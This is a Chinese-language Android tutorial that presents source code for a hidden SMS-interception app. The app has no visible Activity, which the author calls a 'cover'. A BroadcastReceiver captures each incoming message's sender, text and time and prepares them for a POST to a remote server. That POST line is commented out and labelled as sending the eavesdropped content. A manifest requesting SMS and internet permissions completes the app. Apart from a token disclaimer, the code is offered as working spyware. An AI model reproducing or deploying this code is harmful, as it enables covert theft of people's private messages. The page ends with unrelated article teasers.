編輯:關於Android編程
在學習本實例之前,讀者請先了解一下android四大組件中的“廣播接收者”的基本概念和使用。
由於是“監聽程序”,所以就不需要建立Activity。這樣也算是一種“遮掩”吧。使用BroadcastReceiver,就能達到這“不可告人”的目的。呵呵。當然,使用服務來開發此類應用,更加合適。這裡就不再深入討論“服務”了。本實例僅供學習參考,請勿非法用途。
復制代碼 代碼如下:
package cn.itcast.sms;
import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;
import cn.itcast.utils.SocketHttpRequester;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
public class SMSBroadcastReceiver extends BroadcastReceiver {
//在接受者這邊獲取短信相關信息,將相關信息發到服務器上進行竊聽
@Override
public void onReceive(Context context, Intent intent) {
Object[] pduses = (Object[])intent.getExtras().get("pdus");
for(Object pdus : pduses){
byte[] pdusmessage = (byte[]) pdus;//沒一條短信
SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);
String mobile = sms.getOriginatingAddress();//得到電話號碼
String content = sms.getMessageBody();//得到短信的內容
Date date = new Date(sms.getTimestampMillis());//得到發送短信具體時間
//2009-10-12 12:21:23
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//為實踐設置格式
String sendtime = format.format(date);
Map<String, String> params = new HashMap<String, String>();
params.put("method", "getSMS");//將與短信相關的內容全部都放到集合裡
params.put("mobile", mobile);
params.put("content", content);
params.put("sendtime", sendtime);
try {//利用socket向服務器發送竊聽到的內容
//SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
} catch (Exception e) {
Log.e("SMSBroadcastReceiver", e.toString());
}
}
}
}
注意修改Android項目文件的配置
復制代碼 代碼如下:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.sms"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信權限 -->
<!-- 訪問網絡的權限 -->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest>
最後說一點,Android中廣播的注冊機制,其實有2種方式(上文中使用的是第二種方式--配置項目清單文件)。
第一,通過代碼的方式注冊;
當實現了廣播接收器,還要設置廣播接收器接收廣播信息的類型,這裡是信息:android.provider.Telephony.SMS_RECEIVED
我們就可以把廣播接收器注冊到系統裡面,可以讓系統知道我們有個廣播接收器。這裡有兩種,一種是代碼動態注冊:
復制代碼 代碼如下:
//生成廣播處理
smsBroadCastReceiver = new SmsBroadCastReceiver();
//實例化過濾器並設置要過濾的廣播
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(SMS_ACTION);
//注冊廣播
BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter);
Android中的ListView是一個經常用到的控件,ListView裡面的每個子項Item可以使一個字符串,也可以是一個組合控件。本文先來說說ListView的實現:
最近研究HyBrid的兩種方式:一、直接原生WebView1)初始化WebView: //啟動javascript webView = (WebView)
自定義View一直是橫在Android開發者面前的一道坎。一、View和ViewGroup的關系從View和ViewGroup的關系來看,ViewGroup繼承View。
本文實例講述了Android編程滑動效果之Gallery+GridView實現圖片預覽功能。分享給大家供大家參考,具體如下:Android系統自帶一個GridView和G